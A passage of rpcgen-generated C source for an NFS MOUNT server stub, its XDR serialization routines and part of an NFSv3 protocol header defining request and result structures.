36 | 37 | case MOUNT1_MNT: 38 | _xdr_argument = (xdrproc_t) xdr_dirpath; 39 | _xdr_result = (xdrproc_t) xdr_mountres1; 40 | local = (char *(*)(char *, struct svc_req *)) mount1_mnt_1_svc; 41 | break; 42 | 43 | case MOUNT1_DUMP: 44 | _xdr_argument = (xdrproc_t) xdr_void; 45 | _xdr_result = (xdrproc_t) xdr_mountlist; 46 | local = (char *(*)(char *, struct svc_req *)) mount1_dump_1_svc; 47 | break; 48 | 49 | case MOUNT1_UMNT: 50 | _xdr_argument = (xdrproc_t) xdr_dirpath; 51 | _xdr_result = (xdrproc_t) xdr_void; 52 | local = (char *(*)(char *, struct svc_req *)) mount1_umnt_1_svc; 53 | break; 54 | 55 | case MOUNT1_UMNTALL: 56 | _xdr_argument = (xdrproc_t) xdr_void; 57 | _xdr_result = (xdrproc_t) xdr_void; 58 | local = (char *(*)(char *, struct svc_req *)) mount1_umntall_1_svc; 59 | break; 60 | 61 | case MOUNT1_EXPORT: 62 | _xdr_argument = (xdrproc_t) xdr_void; 63 | _xdr_result = (xdrproc_t) xdr_exports; 64 | local = (char *(*)(char *, struct svc_req *)) mount1_export_1_svc; 65 | break; 66 | 67 | default: 68 | svcerr_noproc (transp); 69 | return; 70 | } 71 | memset ((char *)&argument, 0, sizeof (argument)); 72 | if (!svc_getargs (transp, (xdrproc_t) _xdr_argument, (caddr_t) &argument)) { 73 | svcerr_decode (transp); 74 | return; 75 | } 76 | result = (*local)((char *)&argument, rqstp); 77 | if (result != NULL && !svc_sendreply(transp, (xdrproc_t) _xdr_result, result)) { 78 | svcerr_systemerr (transp); 79 | } 80 | if (!svc_freeargs (transp, (xdrproc_t) _xdr_argument, (caddr_t) &argument)) { 81 | fprintf (stderr, "%s", "unable to free arguments"); 82 | exit (1); 83 | } 84 | return; 85 | } 86 | 87 | static void 88 | mount_program_3(struct svc_req *rqstp, register SVCXPRT *transp) 89 | { 90 | union { 91 | dirpath mount3_mnt_3_arg; 92 | dirpath mount3_umnt_3_arg; 93 | } argument; 94 | char *result; 95 | xdrproc_t _xdr_argument, _xdr_result; 96 | char *(*local)(char *, struct svc_req *); 97 | 98 | switch (rqstp->rq_proc) { 99 | case MOUNT3_NULL: 100 | _xdr_argument = (xdrproc_t) xdr_void; 101 | _xdr_result = (xdrproc_t) xdr_void; 102 | local = (char *(*)(char *, struct svc_req *)) mount3_null_3_svc; 103 | break; 104 | 105 | case MOUNT3_MNT: 106 | _xdr_argument = (xdrproc_t) xdr_dirpath; 107 | _xdr_result = (xdrproc_t) xdr_mountres3; 108 | local = (char *(*)(char *, struct svc_req *)) mount3_mnt_3_svc; 109 | break; 110 | 111 | case MOUNT3_DUMP: 112 | _xdr_argument = (xdrproc_t) xdr_void; 113 | _xdr_result = (xdrproc_t) xdr_mountlist; 114 | local = (char *(*)(char *, struct svc_req *)) mount3_dump_3_svc; 115 | break; 116 | 117 | case MOUNT3_UMNT: 118 | _xdr_argument = (xdrproc_t) xdr_dirpath; 119 | _xdr_result = (xdrproc_t) xdr_void; 120 | local = (char *(*)(char *, struct svc_req *)) mount3_umnt_3_svc; 121 | break; 122 | 123 | case MOUNT3_UMNTALL: 124 | _xdr_argument = (xdrproc_t) xdr_void; 125 | _xdr_result = (xdrproc_t) xdr_void; 126 | local = (char *(*)(char *, struct svc_req *)) mount3_umntall_3_svc; 127 | break; 128 | 129 | case MOUNT3_EXPORT: 130 | _xdr_argument = (xdrproc_t) xdr_void; 131 | _xdr_result = (xdrproc_t) xdr_exports; 132 | local = (char *(*)(char *, struct svc_req *)) mount3_export_3_svc; 133 | break; 134 | 135 | default: 136 | svcerr_noproc (transp); 137 | return; 138 | } 139 | memset ((char *)&argument, 0, sizeof (argument)); 140 | if (!svc_getargs (transp, (xdrproc_t) _xdr_argument, (caddr_t) &argument)) { 141 | svcerr_decode (transp); 142 | return; 143 | } 144 | result = (*local)((char *)&argument, rqstp); 145 | if (result != NULL && !svc_sendreply(transp, (xdrproc_t) _xdr_result, result)) { 146 | svcerr_systemerr (transp); 147 | } 148 | if (!svc_freeargs (transp, (xdrproc_t) _xdr_argument, (caddr_t) &argument)) { 149 | fprintf (stderr, "%s", "unable to free arguments"); 150 | exit (1); 151 | } 152 | return; 153 | } 154 | 155 | int 156 | main (int argc, char **argv) 157 | { 158 | register SVCXPRT *transp; 159 | 160 | pmap_unset (MOUNT_PROGRAM, MOUNT_V1); 161 | pmap_unset (MOUNT_PROGRAM, MOUNT_V3); 162 | 163 | transp = svcudp_create(RPC_ANYSOCK); 164 | if (transp == NULL) { 165 | fprintf (stderr, "%s", "cannot create udp service."); 166 | exit(1); 167 | } 168 | if (!svc_register(transp, MOUNT_PROGRAM, MOUNT_V1, mount_program_1, IPPROTO_UDP)) { 169 | fprintf (stderr, "%s", "unable to register (MOUNT_PROGRAM, MOUNT_V1, udp)."); 170 | exit(1); 171 | } 172 | if (!svc_register(transp, MOUNT_PROGRAM, MOUNT_V3, mount_program_3, IPPROTO_UDP)) { 173 | fprintf (stderr, "%s", "unable to register (MOUNT_PROGRAM, MOUNT_V3, udp)."); 174 | exit(1); 175 | } 176 | 177 | transp = svctcp_create(RPC_ANYSOCK, 0, 0); 178 | if (transp == NULL) { 179 | fprintf (stderr, "%s", "cannot create tcp service."); 180 | exit(1); 181 | } 182 | if (!svc_register(transp, MOUNT_PROGRAM, MOUNT_V1, mount_program_1, IPPROTO_TCP)) { 183 | fprintf (stderr, "%s", "unable to register (MOUNT_PROGRAM, MOUNT_V1, tcp)."); 184 | exit(1); 185 | } 186 | if (!svc_register(transp, MOUNT_PROGRAM, MOUNT_V3, mount_program_3, IPPROTO_TCP)) { 187 | fprintf (stderr, "%s", "unable to register (MOUNT_PROGRAM, MOUNT_V3, tcp)."); 188 | exit(1); 189 | } 190 | 191 | svc_run (); 192 | fprintf (stderr, "%s", "svc_run returned"); 193 | exit (1); 194 | /* NOTREACHED */ 195 | } 196 | -------------------------------------------------------------------------------- /mount_xdr.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Please do not edit this file. 3 | * It was generated using rpcgen. 4 | */ 5 | 6 | #include "mount.h" 7 | 8 | bool_t 9 | xdr_fhandle3 (XDR *xdrs, fhandle3 *objp) 10 | { 11 | register int32_t *buf; 12 | 13 | if (!xdr_bytes (xdrs, (char **)&objp->fhandle3_val, (u_int *) &objp->fhandle3_len, FHSIZE3)) 14 | return FALSE; 15 | return TRUE; 16 | } 17 | 18 | bool_t 19 | xdr_dirpath (XDR *xdrs, dirpath *objp) 20 | { 21 | register int32_t *buf; 22 | 23 | if (!xdr_string (xdrs, objp, MNTPATHLEN)) 24 | return FALSE; 25 | return TRUE; 26 | } 27 | 28 | bool_t 29 | xdr_name (XDR *xdrs, name *objp) 30 | { 31 | register int32_t *buf; 32 | 33 | if (!xdr_string (xdrs, objp, MNTNAMLEN)) 34 | return FALSE; 35 | return TRUE; 36 | } 37 | 38 | bool_t 39 | xdr_mountstat3 (XDR *xdrs, mountstat3 *objp) 40 | { 41 | register int32_t *buf; 42 | 43 | if (!xdr_enum (xdrs, (enum_t *) objp)) 44 | return FALSE; 45 | return TRUE; 46 | } 47 | 48 | bool_t 49 | xdr_mountlist (XDR *xdrs, mountlist *objp) 50 | { 51 | register int32_t *buf; 52 | 53 | if (!xdr_pointer (xdrs, (char **)objp, sizeof (struct mountbody), (xdrproc_t) xdr_mountbody)) 54 | return FALSE; 55 | return TRUE; 56 | } 57 | 58 | bool_t 59 | xdr_mountbody (XDR *xdrs, mountbody *objp) 60 | { 61 | register int32_t *buf; 62 | 63 | if (!xdr_name (xdrs, &objp->ml_hostname)) 64 | return FALSE; 65 | if (!xdr_dirpath (xdrs, &objp->ml_directory)) 66 | return FALSE; 67 | if (!xdr_mountlist (xdrs, &objp->ml_next)) 68 | return FALSE; 69 | return TRUE; 70 | } 71 | 72 | bool_t 73 | xdr_groups (XDR *xdrs, groups *objp) 74 | { 75 | register int32_t *buf; 76 | 77 | if (!xdr_pointer (xdrs, (char **)objp, sizeof (struct groupnode), (xdrproc_t) xdr_groupnode)) 78 | return FALSE; 79 | return TRUE; 80 | } 81 | 82 | bool_t 83 | xdr_groupnode (XDR *xdrs, groupnode *objp) 84 | { 85 | register int32_t *buf; 86 | 87 | if (!xdr_name (xdrs, &objp->gr_name)) 88 | return FALSE; 89 | if (!xdr_groups (xdrs, &objp->gr_next)) 90 | return FALSE; 91 | return TRUE; 92 | } 93 | 94 | bool_t 95 | xdr_exports (XDR *xdrs, exports *objp) 96 | { 97 | register int32_t *buf; 98 | 99 | if (!xdr_pointer (xdrs, (char **)objp, sizeof (struct exportnode), (xdrproc_t) xdr_exportnode)) 100 | return FALSE; 101 | return TRUE; 102 | } 103 | 104 | bool_t 105 | xdr_exportnode (XDR *xdrs, exportnode *objp) 106 | { 107 | register int32_t *buf; 108 | 109 | if (!xdr_dirpath (xdrs, &objp->ex_dir)) 110 | return FALSE; 111 | if (!xdr_groups (xdrs, &objp->ex_groups)) 112 | return FALSE; 113 | if (!xdr_exports (xdrs, &objp->ex_next)) 114 | return FALSE; 115 | return TRUE; 116 | } 117 | 118 | bool_t 119 | xdr_mountres3_ok (XDR *xdrs, mountres3_ok *objp) 120 | { 121 | register int32_t *buf; 122 | 123 | if (!xdr_fhandle3 (xdrs, &objp->fhandle)) 124 | return FALSE; 125 | if (!xdr_array (xdrs, (char **)&objp->auth_flavors.auth_flavors_val, (u_int *) &objp->auth_flavors.auth_flavors_len, ~0, 126 | sizeof (int), (xdrproc_t) xdr_int)) 127 | return FALSE; 128 | return TRUE; 129 | } 130 | 131 | bool_t 132 | xdr_mountres3 (XDR *xdrs, mountres3 *objp) 133 | { 134 | register int32_t *buf; 135 | 136 | if (!xdr_mountstat3 (xdrs, &objp->fhs_status)) 137 | return FALSE; 138 | switch (objp->fhs_status) { 139 | case MNT3_OK: 140 | if (!xdr_mountres3_ok (xdrs, &objp->mountres3_u.mountinfo)) 141 | return FALSE; 142 | break; 143 | default: 144 | break; 145 | } 146 | return TRUE; 147 | } 148 | 149 | bool_t 150 | xdr_mountstat1 (XDR *xdrs, mountstat1 *objp) 151 | { 152 | register int32_t *buf; 153 | 154 | if (!xdr_enum (xdrs, (enum_t *) objp)) 155 | return FALSE; 156 | return TRUE; 157 | } 158 | 159 | bool_t 160 | xdr_fhandle1 (XDR *xdrs, fhandle1 objp) 161 | { 162 | register int32_t *buf; 163 | 164 | if (!xdr_opaque (xdrs, objp, FHSIZE)) 165 | return FALSE; 166 | return TRUE; 167 | } 168 | 169 | bool_t 170 | xdr_mountres1_ok (XDR *xdrs, mountres1_ok *objp) 171 | { 172 | register int32_t *buf; 173 | 174 | if (!xdr_fhandle1 (xdrs, objp->fhandle)) 175 | return FALSE; 176 | return TRUE; 177 | } 178 | 179 | bool_t 180 | xdr_mountres1 (XDR *xdrs, mountres1 *objp) 181 | { 182 | register int32_t *buf; 183 | 184 | if (!xdr_mountstat1 (xdrs, &objp->fhs_status)) 185 | return FALSE; 186 | switch (objp->fhs_status) { 187 | case MNT1_OK: 188 | if (!xdr_mountres1_ok (xdrs, &objp->mountres1_u.mountinfo)) 189 | return FALSE; 190 | break; 191 | default: 192 | break; 193 | } 194 | return TRUE; 195 | } 196 | -------------------------------------------------------------------------------- /nfs_prot.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Please do not edit this file. 3 | * It was generated using rpcgen. 4 | */ 5 | 6 | #ifndef _NFS_PROT_H_RPCGEN 7 | #define _NFS_PROT_H_RPCGEN 8 | 9 | #include 10 | 11 | 12 | #ifdef __cplusplus 13 | extern "C" { 14 | #endif 15 | 16 | #define NFS3_FHSIZE 64 17 | #define NFS3_WRITEVERFSIZE 8 18 | #define NFS3_CREATEVERFSIZE 8 19 | #define NFS3_COOKIEVERFSIZE 8 20 | 21 | typedef char cookieverf3[NFS3_COOKIEVERFSIZE]; 22 | 23 | typedef u_quad_t uint64; 24 | 25 | typedef uint64 cookie3; 26 | 27 | struct nfs_fh3 { 28 | struct { 29 | u_int data_len; 30 | char data_val[NFS3_FHSIZE]; 31 | } data; 32 | }; 33 | typedef struct nfs_fh3 nfs_fh3; 34 | 35 | typedef char *filename3; 36 | 37 | struct diropargs3 { 38 | nfs_fh3 dir; 39 | filename3 name; 40 | }; 41 | typedef struct diropargs3 diropargs3; 42 | 43 | enum ftype3 { 44 | NF3REG = 1, 45 | NF3DIR = 2, 46 | NF3BLK = 3, 47 | NF3CHR = 4, 48 | NF3LNK = 5, 49 | NF3SOCK = 6, 50 | NF3FIFO = 7, 51 | }; 52 | typedef enum ftype3 ftype3; 53 | 54 | typedef uint32_t mode3; 55 | 56 | typedef uint32_t uid3; 57 | 58 | typedef uint32_t gid3; 59 | 60 | typedef uint64 size3; 61 | 62 | typedef uint64 fileid3; 63 | 64 | struct specdata3 { 65 | uint32_t specdata1; 66 | uint32_t specdata2; 67 | }; 68 | typedef struct specdata3 specdata3; 69 | 70 | struct nfstime3 { 71 | uint32_t seconds; 72 | uint32_t nseconds; 73 | }; 74 | typedef struct nfstime3 nfstime3; 75 | 76 | struct fattr3 { 77 | ftype3 type; 78 | mode3 mode; 79 | uint32_t nlink; 80 | uid3 uid; 81 | gid3 gid; 82 | size3 size; 83 | size3 used; 84 | specdata3 rdev; 85 | uint64 fsid; 86 | fileid3 fileid; 87 | nfstime3 atime; 88 | nfstime3 mtime; 89 | nfstime3 ctime; 90 | }; 91 | typedef struct fattr3 fattr3; 92 | 93 | struct post_op_attr { 94 | bool_t attributes_follow; 95 | union { 96 | fattr3 attributes; 97 | } post_op_attr_u; 98 | }; 99 | typedef struct post_op_attr post_op_attr; 100 | 101 | enum nfsstat3 { 102 | NFS3_OK = 0, 103 | NFS3ERR_PERM = 1, 104 | NFS3ERR_NOENT = 2, 105 | NFS3ERR_IO = 5, 106 | NFS3ERR_NXIO = 6, 107 | NFS3ERR_ACCES = 13, 108 | NFS3ERR_EXIST = 17, 109 | NFS3ERR_XDEV = 18, 110 | NFS3ERR_NODEV = 19, 111 | NFS3ERR_NOTDIR = 20, 112 | NFS3ERR_ISDIR = 21, 113 | NFS3ERR_INVAL = 22, 114 | NFS3ERR_FBIG = 27, 115 | NFS3ERR_NOSPC = 28, 116 | NFS3ERR_ROFS = 30, 117 | NFS3ERR_MLINK = 31, 118 | NFS3ERR_NAMETOOLONG = 63, 119 | NFS3ERR_NOTEMPTY = 66, 120 | NFS3ERR_DQUOT = 69, 121 | NFS3ERR_STALE = 70, 122 | NFS3ERR_REMOTE = 71, 123 | NFS3ERR_BADHANDLE = 10001, 124 | NFS3ERR_NOT_SYNC = 10002, 125 | NFS3ERR_BAD_COOKIE = 10003, 126 | NFS3ERR_NOTSUPP = 10004, 127 | NFS3ERR_TOOSMALL = 10005, 128 | NFS3ERR_SERVERFAULT = 10006, 129 | NFS3ERR_BADTYPE = 10007, 130 | NFS3ERR_JUKEBOX = 10008, 131 | }; 132 | typedef enum nfsstat3 nfsstat3; 133 | 134 | enum stable_how { 135 | UNSTABLE = 0, 136 | DATA_SYNC = 1, 137 | FILE_SYNC = 2, 138 | }; 139 | typedef enum stable_how stable_how; 140 | 141 | typedef uint64 offset3; 142 | 143 | typedef uint32_t count3; 144 | 145 | struct wcc_attr { 146 | size3 size; 147 | nfstime3 mtime; 148 | nfstime3 ctime; 149 | }; 150 | typedef struct wcc_attr wcc_attr; 151 | 152 | struct pre_op_attr { 153 | bool_t attributes_follow; 154 | union { 155 | wcc_attr attributes; 156 | } pre_op_attr_u; 157 | }; 158 | typedef struct pre_op_attr pre_op_attr; 159 | 160 | struct wcc_data { 161 | pre_op_attr before; 162 | post_op_attr after; 163 | }; 164 | typedef struct wcc_data wcc_data; 165 | 166 | struct WRITE3args { 167 | nfs_fh3 file; 168 | offset3 offset; 169 | count3 count; 170 | stable_how stable; 171 | struct { 172 | u_int data_len; 173 | char *data_val; 174 | } data; 175 | }; 176 | typedef struct WRITE3args WRITE3args; 177 | 178 | typedef char writeverf3[NFS3_WRITEVERFSIZE]; 179 | 180 | struct WRITE3resok { 181 | wcc_data file_wcc; 182 | count3 count; 183 | stable_how committed; 184 | writeverf3 verf; 185 | }; 186 | typedef struct WRITE3resok WRITE3resok; 187 | 188 | struct WRITE3resfail { 189 | wcc_data file_wcc; 190 | }; 191 | typedef struct WRITE3resfail WRITE3resfail; 192 | 193 | struct WRITE3res { 194 | nfsstat3 status; 195 | union { 196 | WRITE3resok resok; 197 | WRITE3resfail resfail; 198 | } WRITE3res_u; 199 | }; 200 | typedef struct WRITE3res WRITE3res; 201 | 202 | struct LOOKUP3args { 203 | diropargs3 what; 204 | }; 205 | typedef struct LOOKUP3args LOOKUP3args; 206 | 207 | struct LOOKUP3resok { 208 | nfs_fh3 object; 209 | post_op_attr obj_attributes; 210 | post_op_attr dir_attributes; 211 | }; 212 | typedef struct LOOKUP3resok LOOKUP3resok; 213 | 214 | struct LOOKUP3resfail { 215 | post_op_attr dir_attributes; 216 | }; 217 | typedef struct LOOKUP3resfail LOOKUP3resfail; 218 | 219 | struct LOOKUP3res { 220 | nfsstat3 status; 221 | union { 222 | LOOKUP3resok resok; 223 | LOOKUP3resfail resfail; 224 | } LOOKUP3res_u; 225 | }; 226 | typedef struct LOOKUP3res LOOKUP3res; 227 | 228 | struct COMMIT3args { 229 | nfs_fh3 file; 230 | offset3 offset; 231 | count3 count; 232 | }; 233 | typedef struct COMMIT3args COMMIT3args; 234 | 235 | struct COMMIT3resok { 236 | wcc_data file_wcc; 237 | writeverf3 verf; 238 | }; 239 | typedef struct COMMIT3resok COMMIT3resok; 240 | 241 | struct COMMIT3resfail { 242 | wcc_data file_wcc; 243 | }; 244 | typedef struct COMMIT3resfail COMMIT3resfail; 245 | 246 | struct COMMIT3res { 247 | nfsstat3 status; 248 | union { 249 | COMMIT3resok resok; 250 | COMMIT3resfail resfail; 251 | } COMMIT3res_u; 252 | }; 253 | typedef struct COMMIT3res COMMIT3res; 254 | #define ACCESS3_READ 0x0001 255 | #define ACCESS3_LOOKUP 0x0002 256 | #define ACCESS3_MODIFY 0x0004 257 | #define ACCESS3_EXTEND 0x0008 258 | #define ACCESS3_DELETE 0x0010 259 | #define ACCESS3_EXECUTE 0x0020 260 | 261 | struct ACCESS3args { 262 | nfs_fh3 object; 263 | uint32_t access; 264 | }; 265 | typedef struct ACCESS3args ACCESS3args; 266 | 267 | struct ACCESS3resok { 268 | post_op_attr obj_attributes; 269 | uint32_t access; 270 | }; 271 | typedef struct ACCESS3resok ACCESS3resok; 272 | 273 | struct ACCESS3resfail { 274 | post_op_attr obj_attributes; 275 | }; 276 | typedef struct ACCESS3resfail ACCESS3resfail; 277 | 278 | struct ACCESS3res { 279 | nfsstat3 status; 280 | union { 281 | ACCESS3resok resok; 282 | ACCESS3resfail resfail; 283 | } ACCESS3res_u; 284 | }; 285 | typedef struct ACCESS3res ACCESS3res; 286 | 287 | struct GETATTR3args { 288 | nfs_fh3 object; 289 | }; 290 | typedef struct GETATTR3args GETATTR3args; 291 | 292 | struct GETATTR3resok { 293 | fattr3 obj_attributes; 294 | }; 295 | typedef struct GETATTR3resok GETATTR3resok; 296 | 297 | struct GETATTR3res { 298 | nfsstat3 status; 299 | union { 300 | GETATTR3resok resok; 301 | } GETATTR3res_u; 302 | }; 303 | typedef struct GETATTR3res GETATTR3res; 304 | 305 | enum time_how { 306 | DONT_CHANGE = 0, 307 | SET_TO_SERVER_TIME = 1, 308 | SET_TO_CLIENT_TIME = 2, 309 | }; 310 | typedef enum time_how time_how; 311 | 312 | struct set_mode3 { 313 | bool_t set_it; 314 | union { 315 | mode3 mode; 316 | } set_mode3_u; 317 | }; 318 | typedef struct set_mode3 set_mode3; 319 | 320 | struct set_uid3 { 321 | bool_t set_it; 322 | union { 323 | uid3 uid; 324 | } set_uid3_u; 325 | }; 326 | typedef struct set_uid3 set_uid3; 327 | 328 | struct set_gid3 { 329 | bool_t set_it; 330 | union { 331 | gid3 gid; 332 | } set_gid3_u; 333 | }; 334 | typedef struct set_gid3 set_gid3; 335 | 336 | struct set_size3 { 337 | bool_t set_it; 338 | union { 339 | size3 size; 340 | } set_size3_u; 341 | }; 342 | typedef struct set_size3 set_size3; 343 | 344 | struct set_atime { 345 | time_how set_it; 346 | union { 347 | nfstime3 atime; 348 | } set_atime_u; 349 | }; 350 | typedef struct set_atime set_atime; 351 | 352 | struct set_mtime { 353 | time_how set_it; 354 | union { 355 | nfstime3 mtime; 356 | } set_mtime_u; 357 | }; 358 | typedef struct set_mtime set_mtime; 359 | 360 | struct sattr3 { 361 | set_mode3 mode; 362 | set_uid3 uid; 363 | set_gid3 gid; 364 | set_size3 size; 365 | set_atime atime; 366 | set_mtime mtime; 367 | }; 368 | typedef struct sattr3 sattr3; 369 | 370 | enum createmode3 { 371 | UNCHECKED = 0, 372 | GUARDED = 1, 373 | EXCLUSIVE = 2, 374 | }; 375 | typedef enum createmode3 createmode3; 376 | 377 | typedef char createverf3[NFS3_CREATEVERFSIZE]; 378 | 379 | struct createhow3 { 380 | createmode3 mode; 381 | union { 382 | sattr3 obj_attributes; 383 | sattr3 g_obj_attributes; 384 | createverf3 verf; 385 | } createhow3_u; 386 | }; 387 | typedef struct createhow3 createhow3; 388 | 389 | struct CREATE3args { 390 | diropargs3 where; 391 | createhow3 how; 392 | }; 393 | typedef struct CREATE3args CREATE3args; 394 | 395 | struct post_op_fh3 { 396 | bool_t handle_follows; 397 | union { 398 | nfs_fh3 handle; 399 | } post_op_fh3_u; 400 | }; 401 | typedef struct post_op_fh3 post_op_fh3; 402 | 403 | struct CREATE3resok { 404 | post_op_fh3 obj; 405 | post_op_attr obj_attributes; 406 | wcc_data dir_wcc; 407 | }; 408 | typedef struct CREATE3resok CREATE3resok; 409 | 410 | struct CREATE3resfail { 411 | wcc_data dir_wcc; 412 | }; 413 | typedef struct CREATE3resfail CREATE3resfail; 414 | 415 | struct CREATE3res { 416 | nfsstat3 status; 417 | union { 418 | CREATE3resok resok; 419 | CREATE3resfail resfail; 420 | } CREATE3res_u; 421 | }; 422 | typedef struct CREATE3res CREATE3res; 423 | 424 | struct REMOVE3args { 425 | diropargs3 object; 426 | }; 427 | typedef struct REMOVE3args REMOVE3args; 428 | 429 | struct REMOVE3resok { 430 | wcc_data dir_wcc; 431 | }; 432 | typedef struct REMOVE3resok REMOVE3resok; 433 | 434 | struct REMOVE3resfail { 435 | wcc_data dir_wcc; 436 | }; 437 | typedef struct REMOVE3resfail REMOVE3resfail; 438 | 439 | struct REMOVE3res { 440 | nfsstat3 status; 441 | union { 442 | REMOVE3resok resok; 443 | REMOVE3resfail resfail; 444 | } REMOVE3res_u; 445 | }; 446 | typedef struct REMOVE3res REMOVE3res; 447 | 448 | struct READ3args { 449 | nfs_fh3 file; 450 | offset3 offset; 451 | count3 count; 452 | }; 453 | typedef struct READ3args READ3args; 454 | 455 | struct READ3resok { 456 | post_op_attr file_attributes; 457 | count3 count; 458 | bool_t eof; 459 | struct { 460 | u_int data_len; 461 | char *data_val; 462 | } data; 463 | }; 464 | typedef struct READ3resok READ3resok; 465 | 466 | struct READ3resfail { 467 | post_op_attr file_attributes; 468 | }; 469 | typedef struct READ3resfail READ3resfail; 470 | 471 | struct READ3res { 472 | nfsstat3 status; 473 | union { 474 | READ3resok resok; 475 | READ3resfail resfail; 476 | } READ3res_u; 477 | }; 478 | typedef struct READ3res READ3res; 479 | #define FSF3_LINK 0x0001 480 | #define FSF3_SYMLINK 0x0002 481 | #define FSF3_HOMOGENEOUS 0x0008 482 | #define FSF3_CANSETTIME 0x0010 483 | 484 | struct FSINFO3args { 485 | nfs_fh3 fsroot; 486 | }; 487 | typedef struct FSINFO3args FSINFO3args; 488 | 489 | struct FSINFO3resok { 490 | post_op_attr obj_attributes; 491 | uint32_t rtmax; 492 | uint32_t rtpref; 493 | uint32_t rtmult; 494 | uint32_t wtmax; 495 | uint32_t wtpref; 496 | uint32_t wtmult; 497 | uint32_t dtpref; 498 | size3 maxfilesize; 499 | nfstime3 time_delta; 500 | uint32_t properties; 501 | }; 502 | typedef struct FSINFO3resok FSINFO3resok; 503 | 504 | struct FSINFO3resfail { 505 | post_op_attr obj_attributes; 506 | }; 507 | typedef struct FSINFO3resfail FSINFO3resfail; 508 | 509 | struct FSINFO3res { 510 | nfsstat3 status; 511 | union { 512 | FSINFO3resok resok; 513 | FSINFO3resfail resfail; 514 | } FSINFO3res_u; 515 | }; 516 | typedef struct FSINFO3res FSINFO3res; 517 | 518 | struct FSSTAT3args { 519 | nfs_fh3 fsroot; 520 | }; 521 | typedef struct FSSTAT3args FSSTAT3args; 522 | 523 | struct FSSTAT3resok { 524 | post_op_attr obj_attributes; 525 | size3 tbytes; 526 | size3 fbytes; 527 | size3 abytes; 528 | size3 tfiles; 529 | size3 ffiles; 530 | size3 afiles; 531 | uint32_t invarsec; 532 | }; 533 | typedef struct FSSTAT3resok FSSTAT3resok; 534 | 535 | struct FSSTAT3resfail { 536 | post_op_attr obj_attributes; 537 | }; 538 | typedef struct FSSTAT3resfail FSSTAT3resfail; 539 | 540 | struct FSSTAT3res { 541 | nfsstat3 status; 542 | union { 543 | FSSTAT3resok resok; 544 | FSSTAT3resfail resfail; 545 | } FSSTAT3res_u; 546 | }; 547 | typedef struct FSSTAT3res FSSTAT3res; 548 | 549 | struct PATHCONF3args { 550 | nfs_fh3 object; 551 | }; 552 | typedef struct PATHCONF3args PATHCONF3args; 553 | 554 | struct PATHCONF3resok { 555 | post_op_attr obj_attributes; 556 | uint32_t linkmax; 557 | uint32_t name_max; 558 | bool_t no_trunc; 559 | bool_t chown_restricted; 560 | bool_t case_insensitive; 561 | bool_t case_preserving; 562 | }; 563 | typedef struct PATHCONF3resok PATHCONF3resok; 564 | 565 | struct PATHCONF3resfail { 566 | post_op_attr obj_attributes; 567 | }; 568 | typedef struct PATHCONF3resfail PATHCONF3resfail; 569 | 570 | struct PATHCONF3res { 571 | nfsstat3 status; 572 | union { 573 | PATHCONF3resok resok; 574 | PATHCONF3resfail resfail; 575 | } PATHCONF3res_u; 576 | }; 577 | typedef struct PATHCONF3res PATHCONF3res; 578 | 579 | typedef char *nfspath3; 580 | 581 | struct symlinkdata3 { 582 | sattr3 symlink_attributes; 583 | nfspath3 symlink_data; 584 | }; 585 | typedef struct symlinkdata3 symlinkdata3; 586 | 587 | struct SYMLINK3args { 588 | diropargs3 where; 589 | symlinkdata3 symlink; 590 | }; 591 | typedef struct SYMLINK3args SYMLINK3args; 592 | 593 | struct SYMLINK3resok { 594 | post_op_fh3 obj; 595 | post_op_attr obj_attributes; 596 | wcc_data dir_wcc; 597 | }; 598 | typedef struct SYMLINK3resok SYMLINK3resok; 599 | 600 | struct SYMLINK3resfail { 601 | wcc_data dir_wcc; 602 | }; 603 | typedef struct SYMLINK3resfail SYMLINK3resfail; 604 | 605 | struct SYMLINK3res { 606 | nfsstat3 status; 607 | union { 608 | SYMLINK3resok resok; 609 | SYMLINK3resfail resfail; 610 | } SYMLINK3res_u; 611 | }; 612 | typedef struct SYMLINK3res SYMLINK3res; 613 | 614 | struct READLINK3args { 615 | nfs_fh3 symlink; 616 | }; 617 | typedef struct READLINK3args READLINK3args; 618 | 619 | struct READLINK3resok { 620 | post_op_attr symlink_attributes; 621 | nfspath3 data; 622 | }; 623 | typedef struct READLINK3resok READLINK3resok; 624 | 625 | struct READLINK3resfail { 626 | post_op_attr symlink_attributes; 627 | }; 628 | typedef struct READLINK3resfail READLINK3resfail; 629 | 630 | struct READLINK3res { 631 | nfsstat3 status; 632 | union { 633 | READLINK3resok resok; 634 | READLINK3resfail resfail; 635 | } READLINK3res_u; 636 | }; 637 | typedef struct READLINK3res READLINK3res; 638 | 639 | struct devicedata3 { 640 | sattr3 dev_attributes; 641 | specdata3 spec; 642 | }; 643 | typedef struct devicedata3 devicedata3; 644 | 645 | struct mknoddata3 { 646 | ftype3 type; 647 | union { 648 | devicedata3 chr_device; 649 | devicedata3 blk_device; 650 | sattr3 sock_attributes; 651 | sattr3 pipe_attributes; 652 | } mknoddata3_u; 653 | }; 654 | typedef struct mknoddata3 mknoddata3; 655 | 656 | struct MKNOD3args { 657 | diropargs3 where; 658 | mknoddata3 what; 659 | }; 660 | typedef struct MKNOD3args MKNOD3args; 661 | 662 | struct MKNOD3resok { 663 | post_op_fh3 obj; 664 | post_op_attr obj_attributes; 665 | wcc_data dir_wcc; 666 | }; 667 | typedef struct MKNOD3resok MKNOD3resok; 668 | 669 | struct MKNOD3resfail { 670 | wcc_data dir_wcc; 671 | }; 672 | typedef struct MKNOD3resfail MKNOD3resfail; 673 | 674 | struct MKNOD3res { 675 | nfsstat3 status; 676 | union { 677 | MKNOD3resok resok; 678 | MKNOD3resfail resfail; 679 | } MKNOD3res_u; 680 | }; 681 | typedef struct MKNOD3res MKNOD3res; 682 | 683 | struct MKDIR3args { 684 | diropargs3 where; 685 | sattr3 attributes; 686 | }; 687 | typedef struct MKDIR3args MKDIR3args; 688 | 689 | struct MKDIR3resok { 690 | post_op_fh3 obj; 691 | post_op_attr obj_attributes; 692 | wcc_data dir_wcc; 693 | }; 694 | typedef struct MKDIR3resok MKDIR3resok; 695 | 696 | struct MKDIR3resfail { 697 | wcc_data dir_wcc; 698 | }; 699 | typedef struct MKDIR3resfail MKDIR3resfail; 700 | 701 | struct MKDIR3res { 702 | nfsstat3 status; 703 | union { 704 | MKDIR3resok resok; 705 | MKDIR3resfail resfail; 706 | } MKDIR3res_u; 707 | }; 708 | typedef struct MKDIR3res MKDIR3res; 709 | 710 | struct RMDIR3args { 711 | diropargs3 object; 712 | }; 713 | typedef struct RMDIR3args RMDIR3args; 714 | 715 | struct RMDIR3resok { 716 | wcc_data 